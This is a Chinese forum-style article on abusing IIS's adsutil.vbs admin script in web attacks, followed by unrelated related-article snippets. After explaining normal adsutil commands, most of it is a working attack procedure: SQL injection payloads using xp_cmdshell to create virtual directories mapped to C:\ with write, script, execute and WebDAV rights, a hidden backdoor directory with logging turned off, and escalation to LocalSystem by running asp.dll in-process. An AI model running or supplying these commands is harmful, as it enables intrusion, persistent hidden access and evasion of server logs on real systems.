Adsutil.vbs 在脚本攻击中的妙用[我非我原创]

一、简单介绍 
adsutil.vbs是什么?相信用过IIS的网管员不会不知道。这是IIS自带的提供于命令行下管理IIS的一个脚本。位于%SystemDrive%\Inetpub\AdminScripts目录下。足足有95,426 字节大小。这么大的脚本一看就知道功能强大。事实也的确如此。基本上我的感觉它就是个命令行下的“Internet 信息服务管理器”。(事实上2000的服务器上%SystemDrive%\Inetpub\AdminScripts下原有20多个vbs文件以供管理。而到了2003则只剩下adsutil.vbs一个了。足以说明它的功能是多么复杂) 
提到adsutil.vbs就不得不提到MetaBase.bin。这个文件是IIS最重要的配置文件。所有对IIS的设置最终都会储存在这个文件中。IIS管理器和adsutil.vbs就是通过对这个文件读取配置信息来显示给用户的。MetaBase.bin的储存结构十分像注册表,是一种树型储存结构。IIS管理器和adsutil.vbs通过一个Adspath的路径来访问MetaBase.bin。路径是由IIS:\开头,其中LocalHost表示本地服务器,而w3svc表示IIS服务。如IIS:\LocalHost/w3svc/1表示本地服务器上的第一个web站点。IIS:\LocalHost/w3svc/1/root/Vdir表示第一个web站点根目录下的Vdir虚拟目录。 
有了这些前置知识,下面再回到adsutil.vbs来看看它的用法吧:

C:\Inetpub\AdminScripts>cscript adsutil.vbs    //别忘了键入cscript.exe这个脚本宿主文件名哦 
Microsoft (R) Windows Script Host Version 5.6 
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

Usage: 
      ADSUTIL.VBS <cmd> [<path> [<value>]]

Description: 
IIS administration utility that enables the configuration of metabase properties 
.

Supported Commands:    //支持的命令。这个最重要 
  GET, SET, ENUM, DELETE, CREATE, COPY, 
  APPCREATEINPROC, APPCREATEOUTPROC, APPCREATEPOOLPROC, APPDELETE, APPUNLOAD, AP 
PGETSTATUS

Samples:    //简单的几个例子 
  adsutil.vbs GET W3SVC/1/ServerBindings   //查看第一个虚拟web站点的邦定端口。这里的W3SVC/1是IIS:\ LocalHostW3SVC/1的简写,而ServerBindings是他的属性。下同。 
  adsutil.vbs SET W3SVC/1/ServerBindings ":81:"  //设定第一个虚拟web站点的邦定端口为81。 
  adsutil.vbs CREATE W3SVC/1/Root/MyVdir "IIsWebVirtualDir"  //在第一个虚拟web站点根目录下建立一个MyVdir的虚拟目录。后面的"IIsWebVirtualDir"指的是目录类型。 
  adsutil.vbs START_SERVER W3SVC/1  //启动第一个虚拟web站点。 
  adsutil.vbs ENUM /P W3SVC   //查看IIS的所有站点。

For Extended Help type: 
  adsutil.vbs HELP  //如果想要进一步的查看帮助,键入此命令。我这里就不转了。防止有人说我赚稿费。大家可以自己看看。

以上“//”后的文字都是我添加上去的注释(下同)。相信这样应该可以看懂了吧大家。 
我们所常用的adsutil.vbs的命令有这么几个:GET, SET, ENUM, DELETE, CREATE。现在我来一一说明: 
GET命令通常是用来查看目录的各项属性值的。SET是用来设定目录属性用的。ENUM也是用来查看属性。所不同的是他直接把所有设置了的属性直接全部显示出来。通常一个目录就有好几页东西可看……他有个可选的“/p”开关符。加上了此开关的话。他只会列出此目录下的所有虚拟目录。DELETE命令是用来删除虚拟目录的。CREATE则是创建一个虚拟目录。另外还有几个命令:START_SERVER、STOP_SERVER、PAUSE_SERVER、CONTINUE _SERVER。分别是启动、停止、暂停、继续虚拟站点的运行。 
一个虚拟目录的大致属性值如下(我只列出了可能我们所常用的,否则会太长了):

KeyType                         : (STRING) "IIsWebVirtualDir"  //目录类型,(STRING)说明它是个字符串类型的属性 
AppRoot                         : (STRING) "/LM/W3SVC/1/ROOT"  //目录IIS路径 
AppFriendlyName                 : (STRING) "默认应用程序"  //应用程序名 
AppIsolated                     : (INTEGER) 2  //指定运行于进程外还是进程中,数字类型属性。 
HttpCustomHeaders               : (LIST) (1 Items)   //自定义IIS数据头 
  "Powered By : www.WoFeiWo.Info"

HttpErrors                      : (LIST) (42 Items)  //各种IIS代码所返回的页面。可以自行设置。我这里将会显省略了。 
DefaultDoc                      : (STRING) "Default.htm,index.htm,Default.asp,in 
dex.asp,Default.php,index.php,Default.aspx,index.aspx"   //目录的默认主页面名称。 
Path                            : (STRING) "D:\ftp"  //目录所真正映射的物理路径 
AccessFlags                     : (INTEGER) 513  //我也不知道这是啥。反正没设置过。好像会自动设置的 
AccessExecute                   : (BOOLEAN) False   //目录的执行权限,是布尔值 
AccessSource                    : (BOOLEAN) False   //目录的Webdav访问是否允许 
AccessRead                      : (BOOLEAN) True   //目录的只读权限 
AccessWrite                     : (BOOLEAN) False   //目录的写权限 
AccessScript                    : (BOOLEAN) True    //目录是否允许执行脚本 
AccessNoRemoteExecute           : (BOOLEAN) False 
AccessNoRemoteRead              : (BOOLEAN) False 
AccessNoRemoteWrite             : (BOOLEAN) False 
AccessNoRemoteScript            : (BOOLEAN) False 
AccessNoPhysicalDir             : (BOOLEAN) False 
ScriptMaps                      : (LIST) (27 Items)   //应用程序扩展名映射 
  ".asa,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE" 
  ".asp,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE" 
  ".aspx,C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEA 
D,POST,DEBUG" 
  ………………  //这里省略了n多数据 
AspEnableParentPaths            : (BOOLEAN) True 
AppPoolId                       : (STRING) "DefaultAppPool"  //应用程序池名称 
DontLog                         : (BOOLEAN) True   //禁止IISLog纪录 
DirBrowseFlags                  : (INTEGER) -1073741762 
EnableDirBrowsing               : (BOOLEAN) True  //目录是否允许列目录 
DirBrowseShowDate               : (BOOLEAN) True  //这里及以下都是显示目录时的参数设置。英文都很简单。我也就不多说了。 
DirBrowseShowTime               : (BOOLEAN) True 
DirBrowseShowSize               : (BOOLEAN) True 
DirBrowseShowExtension          : (BOOLEAN) True 
DirBrowseShowLongDate           : (BOOLEAN) True 
EnableDefaultDoc                : (BOOLEAN) True  //是否开启默认主页文档

以上是我用cscript adsutil.vbs ENUM w3svc/1/root命令在自己机器上察看到的。大家也可以自己输入以上命令研究。 
上面的属性我们都可以来通过SET命令来进行设置。如下方式: 
cscript adsutil.vbs SET w3svc/1/root/目录名/属性名 设置值 
如:cscript adsutil.vbs SET w3svc/1/root/wofeiwo/AccessRead 1  //设置第一个虚拟web站点下的wofeiwo虚拟目录的可读权限为Ture 
或:cscript adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\”  //设置目录的映射路径是“C:\” 
下面来看看我们的简单利用的例子 
二、adsutil.vbs的利用 
(一)MSSQL Injection的上传新思路 
或许大家会在MSSQL的注入中碰到这种情况:SA权限。可以执行Cmd命令(xp_cmdshell、sp_OACreate、Job等等)。可是服务器是在内网。外面是个堡垒主机。只是做了个80端口的映射。3389开了没有用(内网连不上啊),所有反向木马也传不上去(Tftp、Ftp、Wget、exe2bat等等)这时候你该怎么办? 
Amanl大哥经典的《榨干MSSQL最后一滴血》给我们一个很好的思路:就是利用%SystemDrive%\Inetpub\AdminScripts下的vbs建立一个新的虚拟目录。自定义其映射的绝对路径。这样可以绕过了对web绝对路径的猜解。然后通过BACKUP或MASKWEBTASK备份数据库或临时表到虚拟目录下(或是直接echo)就可以得到了一个shell。 
上面的想法的确很好。可是用过臭要饭的GetWebShell或小竹的NBUpFile的人都知道BACKUP或MASKWEBTASK的成功率有多么的低……而echo……我也不想说了。一行一行写那简直是找罪受。(还要不停的转特殊字符……) 
其实我们可以把Amanl大哥的想法改进一下。在我们建立一个新的虚拟目录的时候。可以加上写目录的权限。再加上Webdav……那么我们不久可以直接通过IIS上传任何文件了吗?也不仅仅局限于文本文件了。如果我们上传了个反向后门在通过SA执行……呵呵,一切就都搞定了! 
来,马上实行: 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs cscript adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\”';-- 
注意上面的特殊字符要自己转变。或者你可以用NBSI2或者小路的SQLCOMM来执行以上命令。 
这样我们就在第一个web站点下建立了一个wofeiwo的虚拟目录,映射到了C:根目录。我再给他加上读和写的权限,为了要一个webshell ,我再加上执行脚本的权限: 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessRead 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessWrite 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessScript 1';-- 
写到这看过Surperhei《对IIS写权限的利用》的朋友可能会想要自己构造http包来上传文件。其实有更简单的方法: 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/EnableDirBrowsing 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessSource 1';-- 
设置为允许列目录和webdav访问,然后打开你的IE,Ctrl+O打开“打开”对话框,键入你刚才设置的虚拟目录。选中“以Web文件夹方式打开”,确定。如图: 
图一

啊哈!看到所有的文件夹了吗?如图所示:

图二

现在你就可以像操作普通文件夹一样操作以上文件了。还可以Ctrl+C、Ctrl+V复制文件呢。实现了方便上传、修改文件的功能。 
(二)更进一步 
其实我们完全可以更进一步利用上面所说的思路直接制作一个IIS后门。来,看我的实现!(这里使用了动鲨在《近乎完美的IIS后门》中所介绍的方法。不过我是直接用adsutil.vbs这个MS自带的工具完成了设置。对此文章感兴趣的朋友可以自己找来看看。) 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"';--  //首先建立一个wofeiwo目录。 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo/door "IIsWebVirtualDir"';--  //在wofeiwo目录下又建立了一个door目录。 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs cscript adsutil.vbs SET w3svc/1/root/wofeiwo/door/Path “C:\”';--  //设置door目录映射到C:根目录。 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessRead 1';--  //这里及以下都是给目录设置个种权限。可以参考以上的命令注释。 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessWrite 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessScript 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/DontLog 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/EnableDirBrowsing 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessSource 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessExecute 1';-- 
可能会有人说,什么阿。不就是和上面的一样吗?呵呵。其实你仔细看。会发现我们上面新建的第一个目录“wofeiwo”并没有设置“Path”属性。也就是说他没有映射到任何实际的目录上去。这里应用了IIS的一个漏洞(涉及到IIS5.0.1.0)。即对于没有“Path”属性的虚拟目录是不会在IIS管理器中出现的。相当于一个隐藏的目录。而其下的虚拟目录“door”同样是由于上级目录不可见的,所以它也是不可见的!但是“door”目录是设置了“Path”属性的。所以如果我们提交http://IP/wofeiwo/door/ 路径。其结果是会返回C:下的文件目录。现在此目录已经是我们可以任意写文件读文件了。并且还可以转到System32目录下对程序进行运行。我们的后门雏形建成了。(注意看我这里是加上了AccessExecute执行权限的) 
但是我们现在执行的程序都还是IIS默认的IUSR用户的Guest权限。没有大的权限我们总是不爽。下面来提升我们的权限,加IUSR用户为管理员就不说了。下面说说另两个方法: 
1、设置AppIsolated,使此目录下程序在IIS的进程中进行。这样就继承了IIS的System权限。 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/ AppIsolated 0';-- 
2、    将解析asp文件的asp.dll加入到IIS的特权dll中。使得其在进程中运行。从而的到IIS的LocalSystem权限。 
1)首先得到IIS所有的特权dll 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs GET w3svc/InProcessIsapiApps';-- 
返回: 
InProcessIsapiApps              : (LIST)  (5 Items) 
  "C:\WINDOWS\system32\inetsrv\httpext.dll" 
  "C:\WINDOWS\system32\inetsrv\httpodbc.dll" 
  "C:\WINDOWS\system32\inetsrv\ssinc.dll" 
  "C:\WINDOWS\system32\msw3prt.dll" 
  "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" 
2)    将asp.dll设置到InProcessIsapiApps组中去,这里要注意,把上面的所有查到的dll都加上,否则会被删除。 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/InProcessIsapiApps "C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" "C:\WINDOWS\system32\inetsrv\asp.dll"';-- 
返回: 
InProcessIsapiApps              : (LIST) "C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" "C:\WINDOWS\system32\inetsrv\asp.dll" 
这样就设置好了。以后无论什么asp文件就都是 LoaclSystem权限了。通过以上的步骤。我们的IIS后门基本上就是设置好了。你可以上传asp木马加以辅助控制。这样的设置型后门是很难被管理员发现的。并且完全通过IIS的80端口通讯。又没有日志记录。所以相当安全。 
三、结言 
到这里我关于adsutil.vbs的一点简单应用就结束了。突然发现文章已经写了那么多了。哇啊啊……文章写得好累阿。由于本人是一菜鸟。文章难免有疏漏。还请大家多多指教。有什么疑问请和我联系。我的邮箱:wofeiwo@bugkidz.org。或者大家可以到火狐技术联盟http://www.wrsky.com来找我。我的ID:我非我。是论坛新手版的版主。

(0)

相关推荐

  • 使用 Adsutil.vbs iis管理脚本

    应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1 Adsutil.vbs 是一个 IIS 管理实用程序,它通过结合使用 Microsoft Visual Basic Scripting Edition (VBScript) 与 Active Directory 服务界面 (ADSI) 来处理 IIS 配置.该脚本应通过随 Windows 脚本主机一同安装的 CScript 运行. 重要事项

  • IIS管理脚本之adsutil.vbs的使用说明

    Adsutil.vbs是什么?它是Windows 2003的IIS服务自带的基于命令行下的IIS管理脚本,位于%SystemDrive%\Inetpub\AdminScripts目录下,95,426字节.这么大的脚本一看就知道功能肯定非常强大,事实也确是如此.我感觉它就是个命令行下的"Internet 信息服务管理器"(事实上Windows 2000用%SystemDrive%\Inetpub\AdminScripts下原有的20多个VBS进行管理,而到了2003则只剩下Adsutil

  • cscript adsutil.vbs 设置iis参数提示拒绝访问的解决方法

    通过cmd下直接运行cscript就提示拒绝访问,因为通过我们安全设置的机器,都是做了安全设置的,很多程序都是禁止运行的,找到问题到,到c盘搜索cscript.exe右键 属性 权限 将everyone的限制权限取消即可 一切正常,gzip就完美的成功了 win2003下让IIS6启用GZIP压缩的脚本(bat+vbs实现)http://www.jb51.net/softs/32589.html

  • Adsutil.vbs 在脚本攻击中的妙用[我非我原创]

    一.简单介绍  adsutil.vbs是什么?相信用过IIS的网管员不会不知道.这是IIS自带的提供于命令行下管理IIS的一个脚本.位于%SystemDrive%\Inetpub\AdminScripts目录下.足足有95,426 字节大小.这么大的脚本一看就知道功能强大.事实也的确如此.基本上我的感觉它就是个命令行下的"Internet 信息服务管理器".(事实上2000的服务器上%SystemDrive%\Inetpub\AdminScripts下原有20多个vbs文件以供管理.而

  • 无法找到脚本文件adsutil.vbs的解决方法

    adsutil.vbs是什么,详细请参阅adsutil.vbs脚本基本用法. adsutil.vbs是Windows 2003的IIS服务自带的基于命令行下的IIS管理脚本,windows 2003使用IIS6.0,现在的IIS7.0.7.5默认是不安装这个IIS6脚本工具的,找不到adsutil.vbs,那是因为安装IIS的时候没有勾选这个组件. 打开或关闭windows功能,在[Internet信息服务]里勾选[IIS 6脚本工具]这个组件安装即可. 然后对应的文件就出来了.

  • 用vbs确定脚本正在哪一个帐户下运行

    问: 您好,脚本专家!如何确定脚本正在哪一个帐户下运行? -- KW 答: 您好,KW.您知道,自从我们以各种托辞而开设这一专栏以来已有一段时间了,对于我们而言,这并非易事:毕竟,寻找托辞是我们这些脚本专家的拿手好戏.明确了这一点,那就让我们以我们最喜欢的一个托辞开始吧:我们将向您介绍的脚本只在 Windows XP 和 Windows Server 2003 上有效.我们将向您介绍使得该脚本在 Windows 2000 上同样有效的方法,但后者绝对不及前者好. 噢,是的:现在感觉该方法不错.

  • asp防范跨站点脚本攻击的的方法

    防范跨站点脚本攻击的的方法 1.利用 空格 替换特殊字符 % < > { } ; & + - " ' ( ) 2.使用@,具体而言是将以下语句 exec="insert into user(username,psw,sex,department,phone,email,demo) values('"&username&"','"&psw&"','"&sex&"

  • Shell脚本运行中的停止方法实现

    Linux系统Shell中提交了一个脚本,但是需要停止这个进程,如何处理? 方式1 killall file-flume-kafka 说明:killall是一个命令,不是kill all,file-flume-kafka是脚本名,此方法简单粗暴. 方式二 ssh $i "ps -ef | grep file-flume-kafka | grep -v grep | awk '{print \$2}' | xargs kill" ps参数: -e:显示所有进程 -f:全格式显示 ps -

  • Python脚本开发中的命令行参数及传参示例详解

    目录 sys模块 argparse模块 Python中的正则表达式 正则表达式简介 Re模块 常用的匹配规则 sys模块 在使用python开发脚本的时候,作为一个运维工具,或者是其他工具需要在接受用户参数运行时,这里就可以用到命令行传参的方式,可以给使用者一个比较友好的交互体验. python可以使用 sys 模块中的 sys.argv 命令来获取命令行参数,其中返回的参数是一个列表 在实际开发中,我们一般都使用命令行来执行 python 脚本 使用终端执行python文件的命令:python

  • 浅谈PHP正则中的捕获组与非捕获组

    今天遇到一个正则匹配的问题,忽然翻到有捕获组的概念,手册上也是一略而过,百度时无意翻到C#和Java中有对正则捕获组的特殊用法,搜索关键词有PHP时竟然没有相关内容,自己试了一下,发现在PHP中也是可行的,于是总结一下,分享的同时也希望有大神和细心的学习者找到我理解中出现的问题. 什么是捕获组 我们先看一下PHP的正则匹配函数 int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags =

  • c++中临时变量不能作为非const的引用参数的方法

    试看下面的代码: #include <iostream> using namespace std; void f(int &a) { cout << "f(" << a << ") is being called" << endl; } void g(const int &a) { cout << "g(" << a << "

随机推荐